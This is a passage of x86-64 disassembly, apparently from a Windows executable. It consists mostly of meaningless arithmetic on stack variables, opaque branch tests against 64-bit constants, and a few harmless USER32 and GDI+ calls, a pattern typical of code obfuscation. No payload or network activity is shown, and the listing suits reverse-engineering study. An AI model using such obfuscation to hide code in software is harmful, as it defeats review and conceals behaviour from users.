movsx ecx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
mov rcx, qword [rsp + 0x19120]
mov rax, qword [rsp + 0x6598]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
mov rdx, qword [rsp + 0x20e58]
mov rax, qword [rsp + 0xe198]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x11234], eax
mov eax, dword [rsp + 0x26148]
mov dword [rsp + 0x225f8], eax
mov rax, qword [rsp + 0x5b28]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x225f8]
sub eax, ecx
mov dword [rsp + 0x1e838], eax
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
mov rax, qword [rsp + 0x3588]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0xf250], al
mov rax, qword [rsp + 0x186d8]
movsx ecx, word [rax]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
mov rax, qword [rsp + 0x9750]
mov rcx, qword [rsp + 0x29528]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1402412c8], rax
movzx ecx, byte [rsp + 0x65c8]
movzx eax, byte [rsp + 0x1522c]
add ecx, eax
mov rax, qword [rsp + 0x1a870]
mov byte [rax], cl
mov rdx, qword [rsp + 0x16938]
mov rax, qword [rsp + 0xe1e0]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0x1e838], eax
mov rcx, qword [rsp + 0x6598]
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
movsx edx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x18b28], al
mov rcx, qword [rsp + 0x20e58]
mov eax, dword [rsp + 0x11234]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xf250]
or ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
movsx ecx, word [rsp + 0x1f220]
movsx eax, word [rsp + 0x11564]
add ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18b28]
sub eax, ecx
mov byte [rsp + 0xf250], al
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
movabs rcx, 0x16974e4ddee92f07
mov rax, qword [0x140244ef8]
sub rax, rcx
mov qword [0x140244ef8], rax
mov ecx, dword [rsp + 0x26148]
mov eax, dword [rsp + 0x1e838]
sub eax, ecx
mov dword [rsp + 0x225f8], eax
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6598]
sub rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x20e58]
mov eax, dword [rsp + 0x15368]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0xe198]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x6598]
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
mov eax, dword [rsp + 0x1af90]
add eax, 0xa
mov dword [rsp + 0x1af90], eax
mov rax, qword [rsp + 0x9808]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x1522c]
sub ecx, eax
mov rax, qword [rsp + 0x29a80]
mov byte [rax], cl
movzx edx, byte [rsp + 0x1522c]
mov rax, qword [rsp + 0x1a870]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x65c8], al
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
movabs rcx, 0x9edb01a6f17a482
mov rax, qword [0x140244ef8]
or rax, rcx
mov qword [0x140244ef8], rax
mov rcx, qword [rsp + 0x21d38]
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6598], rax
mov rax, qword [rsp + 0x5b28]
mov ecx, dword [rax]
mov rax, qword [rsp + 0xe1e0]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
mov rdx, qword [rsp + 0xe198]
mov rax, qword [rsp + 0x20e58]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0x1c058], eax
jmp 0x14005c2f5
mov rcx, qword [rsp + 0x29528]
mov rax, qword [0x1402412c8]
add rax, rcx
mov qword [rsp + 0x6598], rax
movsx edx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x11564], ax
mov rax, qword [rsp + 0xe8a0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x8218], ax
movzx edx, byte [rsp + 0x1522c]
mov rax, qword [rsp + 0x2a0d8]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x65c8], al
movsx ecx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov eax, dword [rsp + 0x10644]
sub eax, 0xae
mov dword [rsp + 0x10644], eax
movabs rcx, 0x42378e14ef6f269e
mov rax, qword [0x140244ef8]
sub rax, rcx
mov qword [0x140244ef8], rax
mov rax, qword [rsp + 0x264f8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x18b28], al
mov rcx, qword [rsp + 0x29528]
mov rax, qword [rsp + 0x6598]
add rax, rcx
mov qword [rsp + 0x21d38], rax
mov eax, dword [rsp + 0x26148]
movzx ecx, al
mov eax, dword [rsp + 0x225f8]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x20e58]
mov rax, qword [rsp + 0x8f38]
mov eax, dword [rax]
mov ecx, dword [rcx]
or ecx, eax
mov rax, qword [rsp + 0x20e58]
mov dword [rax], ecx
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xf250]
xor ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0x105d0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x29a80]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x9808]
mov byte [rax], cl
cmp dword [rsp + 0x10644], 0x9f4b
jae 0x14005c702
lea rax, [rsp + 0x13120]
mov qword [rsp + 0x1c578], rax
movabs rax, 0x36e49f236f109811
cmp qword [0x140244ef8], rax
ja 0x14005c8f2
mov cl, 0x45
call qword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov dword [rsp + 0x27358], eax
mov rax, qword [rsp + 0xdb98]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov dword [rsp + 0xc200], 0x9043
cmp dword [rsp + 0x3370], 0xb81c
jae 0x14005cec1
movzx ecx, byte [rsp + 0x65c8]
movzx eax, byte [rsp + 0x1522c]
sub ecx, eax
mov rax, qword [rsp + 0x9808]
mov byte [rax], cl
movsx ecx, word [rsp + 0x1f220]
movsx eax, word [rsp + 0x11564]
sub ecx, eax
mov rax, qword [rsp + 0xdb98]
mov word [rax], cx
mov rax, qword [rsp + 0x21d38]
mov rcx, qword [rsp + 0x6598]
add rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
mov eax, dword [rsp + 0x225f8]
mov ecx, dword [rsp + 0x26148]
add ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rcx, qword [0x1402412c8]
mov rax, qword [rsp + 0x21d38]
and rax, rcx
mov qword [rsp + 0x29528], rax
mov rax, qword [rsp + 0xe198]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x8f38]
add ecx, dword [rax]
mov rax, qword [rsp + 0x20e58]
mov dword [rax], ecx
movsx ecx, byte [rsp + 0x18b28]
movsx eax, byte [rsp + 0xf250]
sub ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x8218]
add ecx, eax
mov rax, qword [rsp + 0x1c578]
mov word [rax], cx
movsx ecx, byte [rsp + 0xf250]
movsx eax, byte [rsp + 0x18b28]
sub ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
movsx edx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
movzx eax, word [rsp + 0x67d0]
movzx ecx, word [rsp + 0x13120]
or eax, ecx
mov word [rsp + 0x8218], ax
mov rax, qword [0x1402412c8]
mov rcx, qword [rsp + 0x21d38]
xor rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
mov eax, dword [rsp + 0x225f8]
movzx ecx, al
mov eax, dword [rsp + 0x26148]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rax, qword [rsp + 0x7010]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x258a4]
and ecx, eax
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
mov rax, qword [rsp + 0x21d38]
mov rcx, qword [0x1402412c8]
add rcx, rax
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
movzx ecx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x1a870]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x29a80]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x65c8]
movzx eax, byte [rsp + 0x1522c]
add ecx, eax
mov rax, qword [rsp + 0x1a870]
mov byte [rax], cl
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf250]
sub eax, ecx
mov byte [rsp + 0x18b28], al
mov rcx, qword [rsp + 0x6598]
mov rax, qword [rsp + 0x29528]
sub rax, rcx
mov qword [0x1402412c8], rax
mov rax, qword [rsp + 0x1f660]
movzx edx, word [rax]
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x67d0], ax
mov rax, qword [rsp + 0x16938]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x1e838]
add eax, ecx
mov dword [rsp + 0x225f8], eax
mov rax, qword [rsp + 0x7010]
mov ecx, dword [rsp + 0x258a4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1c058], eax
mov rax, qword [rsp + 0x16938]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x26148]
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rax, qword [rsp + 0x6598]
mov rcx, qword [rsp + 0x21d38]
or rcx, rax
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
movsx edx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x13120]
movzx ecx, word [rsp + 0x67d0]
xor eax, ecx
mov word [rsp + 0x8218], ax
movsx edx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
movabs rcx, 0x80287dc656a71d69
mov rax, qword [0x140244ef8]
and rax, rcx
mov qword [0x140244ef8], rax
movsx edx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x11564], ax
movsx ecx, byte [rsp + 0x18b28]
movsx eax, byte [rsp + 0xf250]
sub ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov eax, dword [rsp + 0x1e838]
mov ecx, dword [rsp + 0x225f8]
sub ecx, eax
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x20e58]
mov ecx, dword [rax]
mov rax, qword [rsp + 0xe198]
add ecx, dword [rax]
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x6598]
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xf250]
add ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1522c]
and eax, ecx
mov byte [rsp + 0x65c8], al
mov rax, qword [rsp + 0x1a870]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x105d0]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x1522c], al
movzx ecx, word [rsp + 0x67d0]
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0x1c578]
mov word [rax], cx
movsx edx, byte [rsp + 0x18b28]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0xf250], al
mov rcx, qword [rsp + 0x16938]
mov eax, dword [rsp + 0x225f8]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x16938]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x11234]
mov rax, qword [rsp + 0x8f38]
mov eax, dword [rax]
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x20e58]
mov dword [rax], ecx
mov rax, qword [rsp + 0x3588]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x18b28], al
mov eax, dword [rsp + 0x3370]
add eax, 0x27
mov dword [rsp + 0x3370], eax
mov rax, qword [rsp + 0x21d38]
mov rcx, qword [rsp + 0x29528]
and rcx, rax
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1c578]
movzx edx, word [rax]
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x8218], ax
movzx ecx, word [rsp + 0x67d0]
mov rax, qword [rsp + 0x1c578]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
mov rax, qword [rsp + 0x186d8]
movsx edx, word [rax]
mov rax, qword [rsp + 0xdb98]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x1f220], ax
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9750]
add rax, qword [rcx]
mov qword [0x1402412c8], rax
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0xdb98]
mov word [rax], cx
movzx edx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x29a80]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x1522c], al
jmp 0x14005c8fd
mov rax, qword [rsp + 0xe1e0]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x26148]
add eax, ecx
mov dword [rsp + 0x1e838], eax
mov eax, dword [rsp + 0x15368]
mov dword [rsp + 0x68c8], eax
mov rdx, qword [rsp + 0x9750]
mov rax, qword [rsp + 0x6598]
mov rdx, qword [rdx]
and rdx, rax
mov rax, qword [rsp + 0x29528]
movzx ecx, al
mov rax, qword [rsp + 0x21d38]
sar rax, cl
cmp rdx, rax
jge 0x14005d0a8
mov rcx, qword [rsp + 0x21d38]
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6598], rax
mov eax, dword [rsp + 0x225f8]
mov edx, dword [rsp + 0x26148]
xor edx, eax
mov rax, qword [rsp + 0x5b28]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x1e838]
or eax, ecx
cmp edx, eax
jbe 0x14005d0a8
mov rax, qword [rsp + 0x186d8]
movsx ecx, word [rax]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
mov dword [rsp + 0x2d3e8], eax
cmp dword [rsp + 0x2d3e8], 0x159
je 0x14005cfbf
cmp dword [rsp + 0x2d3e8], 0xd0b
je 0x14005d071
jmp 0x14005d0a8
mov rax, qword [rsp + 0x1c578]
movzx edx, word [rax]
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x67d0], ax
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0xa4
mov r9d, 0x2e
mov r8d, 0xa2
mov edx, 0xc9
mov rcx, qword [rsp + 0x5968]
call qword [sym.imp.USER32.dll_MoveWindow]
mov dword [rsp + 0x2342c], eax
mov rax, qword [rsp + 0x9808]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x65c8]
and ecx, eax
mov rax, qword [rsp + 0x29a80]
mov byte [rax], cl
mov rcx, qword [rsp + 0x21d38]
mov rax, qword [rsp + 0x6598]
sub rax, rcx
mov qword [0x1402412c8], rax
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x18b28]
sub ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
jmp 0x14005d0a8
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
movzx r9d, word [rsp + 0x8218]
mov rax, qword [rsp + 0x1c578]
movzx r8d, word [rax]
mov rdx, qword [0x140244ef8]
movzx ecx, word [rsp + 0x8218]
call fcn.140055f80
mov rax, qword [rsp + 0x264f8]
mov al, byte [rax]
mov byte [rsp + 0x2d3ec], al
cmp byte [rsp + 0x2d3ec], 0
je 0x14005d0c8
jmp 0x14005d154
mov rax, qword [rsp + 0x20e58]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x8f38]
add ecx, dword [rax]
mov rax, qword [rsp + 0x7010]
mov dword [rax], ecx
lea rax, [rsp + 0x225f8]
mov qword [rsp + 0x23568], rax
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9750]
add rax, qword [rcx]
mov qword [rsp + 0x21d38], rax
mov dword [rsp + 0xfeac], 0x81cd
movzx ecx, word [rsp + 0x13120]
mov rax, qword [rsp + 0x1c578]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
lea rax, [rsp + 0x1522c]
mov qword [rsp + 0x12e08], rax
jmp 0x14005d1fa
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov dword [rsp + 0x3aa8], eax
movsx edx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x18b28], al
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0xdb98]
mov word [rax], cx
mov ecx, 7
call qword [sym.imp.USER32.dll_GetSysColorBrush]
mov qword [rsp + 0x19330], rax
mov rax, qword [rsp + 0x2a0d8]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x1a870]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x105d0]
mov byte [rax], cl
mov r9d, 1
mov r8d, 0x32
mov edx, 0x9b
mov rcx, qword [rsp + 0x1bf20]
call qword [sym.imp.USER32.dll_SetScrollPos]
mov dword [rsp + 0x1c058], eax
lea rax, [rsp + 0x29528]
mov qword [rsp + 0x23188], rax
mov rax, qword [rsp + 0x16938]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x23568]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov eax, dword [rsp + 0x11234]
movzx ecx, al
mov eax, dword [rsp + 0x1c058]
shl eax, cl
mov dword [rsp + 0x258a4], eax
mov rcx, qword [rsp + 0x19120]
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x23188]
mov qword [rax], rcx
movsx ecx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
movzx eax, word [rsp + 0x8218]
movzx ecx, word [rsp + 0x67d0]
and eax, ecx
mov word [rsp + 0x13120], ax
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8218]
sub eax, ecx
mov word [rsp + 0x13120], ax
movabs rcx, 0xcd0bd5112e7d57e4
mov rax, qword [0x140244ef8]
and rax, rcx
mov qword [0x140244ef8], rax
mov rcx, qword [rsp + 0x23188]
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x26148]
mov eax, dword [rsp + 0x225f8]
sub eax, ecx
mov dword [rsp + 0x1e838], eax
mov rax, qword [rsp + 0x7010]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x15368]
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x26148]
add ecx, eax
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
movsx ecx, byte [rsp + 0x18b28]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
movzx edx, byte [rsp + 0x1522c]
mov rax, qword [rsp + 0x1a870]
movzx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0x65c8], al
mov eax, dword [rsp + 0x25d90]
sub eax, 0x2e
mov dword [rsp + 0x25d90], eax
mov rax, qword [rsp + 0x186d8]
movsx edx, word [rax]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x1f220], ax
movzx edx, word [rsp + 0x13120]
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x8218], ax
movabs rcx, 0x39367c27ab4a795c
mov rax, qword [0x140244ef8]
xor rax, rcx
mov qword [0x140244ef8], rax
cmp dword [rsp + 0x25d90], 0x153d
ja 0x14005d20a
mov rax, qword [0x140244ef8]
mov qword [rsp + 0x2d3f0], rax
movabs rax, 0x750dfddce9e2a2c0
cmp qword [rsp + 0x2d3f0], rax
je 0x14005d470
movabs rax, 0xb03c792685273958
cmp qword [rsp + 0x2d3f0], rax
je 0x14005d512
jmp 0x140202a9d
mov rax, qword [rsp + 0x29528]
mov qword [rsp + 0x2d3f8], rax
movabs rax, 0x4808a3ff7b50fab6
cmp qword [rsp + 0x2d3f8], rax
je 0x14005d4aa
movabs rax, 0x73ce366d2b8ca484
cmp qword [rsp + 0x2d3f8], rax
je 0x14005d4cf
jmp 0x14005d50d
movzx r9d, word [rsp + 0x11564]
mov r8, qword [0x140244ef8]
mov rdx, qword [0x140244ef8]
mov rcx, qword [0x140244ef8]
call fcn.140055970
jmp 0x14005d50d
lea r8, [rsp + 0x17600]
lea rdx, [rsp + 0x1f170]
lea rcx, [rsp + 0x20e58]
call sub.gdiplus.dll_GdiplusStartup
mov dword [rsp + 0x26148], eax
mov eax, dword [rsp + 0x15368]
mov ecx, dword [rsp + 0x11234]
sub ecx, eax
mov rax, qword [rsp + 0x7010]
mov dword [rax], ecx
jmp 0x140202a9d
movabs rax, 0x654a7f1c036b3dd6
cmp qword [0x140244ef8], rax
jbe 0x140202929
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov dword [rsp + 0x2d400], eax
cmp dword [rsp + 0x2d400], 0
je 0x14005d55a
cmp dword [rsp + 0x2d400], 0xdd16ea96
je 0x1402027f5
jmp 0x140202828
mov ecx, dword [rsp + 0x225f8]
mov eax, dword [rsp + 0x1e838]
and eax, ecx
mov dword [rsp + 0x26148], eax
cmp dword [rsp + 0x1ae88], 0xad86
ja 0x14005d7ca
movzx edx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x9808]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x1522c], al
movzx ecx, word [rsp + 0x8218]
movzx eax, word [rsp + 0x13120]
sub ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
mov rax, qword [rsp + 0x14a80]
movsx edx, word [rax]
mov rax, qword [rsp + 0x186d8]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x11564], ax
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0x1f660]
movzx edx, word [rax]
movzx eax, word [rsp + 0x8218]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
mov eax, dword [rsp + 0x1ae88]
add eax, 0xf2
mov dword [rsp + 0x1ae88], eax
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xf250]
or ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [0x1402412c8]
movzx ecx, al
mov rax, qword [rsp + 0x6598]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
movzx edx, word [rsp + 0x13120]
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x8218], ax
mov ecx, dword [rsp + 0x258a4]
mov eax, dword [rsp + 0x1c058]
sub eax, ecx
mov dword [rsp + 0x68c8], eax
mov eax, dword [rsp + 0x225f8]
mov ecx, dword [rsp + 0x26148]
add ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
movsx edx, word [rsp + 0x11564]
mov rax, qword [rsp + 0xdb98]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x1f220], ax
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov rax, qword [rsp + 0x1a870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65c8]
sub eax, ecx
mov byte [rsp + 0x1522c], al
mov rax, qword [rsp + 0x19120]
mov rcx, qword [rsp + 0x9750]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1402412c8], rax
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x13120]
and ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
mov rax, qword [rsp + 0x8f38]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x1c058]
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x23188]
mov rcx, qword [rcx]
mov rax, qword [0x1402412c8]
xor rax, rcx
mov qword [rsp + 0x21d38], rax
mov rax, qword [rsp + 0xe8a0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x1c578]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x13120], ax
jmp 0x14005d571
cmp dword [rsp + 0x7924], 0x47f5
jb 0x14005db6b
mov eax, dword [rsp + 0x225f8]
movzx ecx, al
